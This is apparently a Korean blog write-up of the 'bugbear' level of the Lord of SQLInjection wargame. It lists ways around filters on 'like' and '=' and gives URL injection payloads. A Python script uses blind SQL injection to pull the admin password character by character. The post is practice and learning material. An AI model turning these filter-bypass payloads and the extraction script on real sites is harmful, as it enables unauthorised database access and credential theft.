ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] bugbear
    Wargame/Lord of SQLInjection 2019. 7. 5. 03:47

    [bugbear] https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php

    필터링되는 항목이 많아졌다...;;

    like도,, =도 사용할 수 없다.

    like, = 필터링 우회 방법과 문자열 함수를 찾아보았다.

     

    [ 우회 방법 ]
    <, >, between, in, instr, regexp
    regexp는 like와 비슷하게 사용되며, 와일드 카드 대신 정규식을 이용해 비교한다.
    (정규식 시작 : ^, 끝 : $)

    [ 문자열 검색 함수 ]
    locate(‘a’,’abc’)
    position(‘a’,’abc’)
    position(‘a’ IN ‘abc’)
    instr(‘abc’,’a’)
    substring_index('ab','b',1)

    [ 문자열 비교 함수 ]
    strcmp('a','a')
    mod('a','a')
    find_in_set('a','a')
    field('a','a')
    count(concat('a','a'))

    [ SQL Injection 필터링 우회 ] https://security04.tistory.com/171

     

    해당 우회 방법 및 내장 함수를 조합하여 pw를 알아낼 수 있다.

    우선, like 대신 regexp를 이용하여 'Hello admin'을 출력시켜 보았다.

     

    ?no=0||id%0aregexp%0a"^admin"

    위와 같이 우회할 수 있다는 것을 확인하였다.

     

    pw 값 알아내기
    ?no=0||id%0aregexp%0a"admin"%26%26pw%0aregexp%0a"^a"
    ?no=0||id%0aregexp%0a"admin"%26%26hex(right(left(pw,n),1))<hex("[0 - 9], [a - z]")
    ?no=0||instr(left(pw,n),a)

     

    python을 이용하여 pw를 찾아보았다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
    
    headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'}
    url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
    
    len = 1
    pw = ''
    
    while True:
    	data = '?no=0||id%0aregexp%0a"admin"%26%26length(pw)<' + str(len)
    	r = requests.get(url + data, headers = headers)
    	if r.text.find('Hello admin') != -1 :
    		break
    	len += 1
    print "[+] Get Password Length : ",len - 1
    
    for i in range(1, len):
    	for j in string:
       		#'?no=0||id%0aregexp%0a"admin"%26%26hex(right(left(pw,' + str(i) + '),1))<hex(' + str(j) + ')'
    		data = '?no=0||id%0aregexp%0a"admin"%26%26instr(left(pw,' + str(i) + '),"' + pw + j + '")'
    		r = requests.get(url + data, headers = headers)
    		if r.text.find('Hello admin') != -1 :
    			pw = pw + j
    			print "[*] Finding ... : ",pw
    			break
    	
    print "[+] Found Password : ", pw

    [ 실행 결과 ]

     

    pw : 52dc3991

     

    ?pw=52dc3991

    점점 필터링이 많아지고,, 어려워진다...

    SQL 내장 함수나 연산자를 많이 공부해야겠다.

    'Wargame > Lord of SQLInjection' 카테고리의 다른 글

    [LOS] assassin  (0) 2019.07.06
    [LOS] giant  (0) 2019.07.05
    [LOS] darkknight  (0) 2019.07.05
    [LOS] golem  (0) 2019.07.05
    [LOS] skeleton  (0) 2019.07.05

    댓글

@Jo Grini's Blog